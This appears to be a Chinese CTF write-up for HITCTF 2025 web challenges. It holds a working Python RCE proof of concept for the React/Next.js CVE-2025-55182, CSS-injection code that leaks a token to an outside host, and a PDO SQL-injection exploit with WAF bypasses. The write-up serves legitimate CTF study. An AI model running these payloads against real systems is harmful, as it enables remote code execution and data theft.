// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog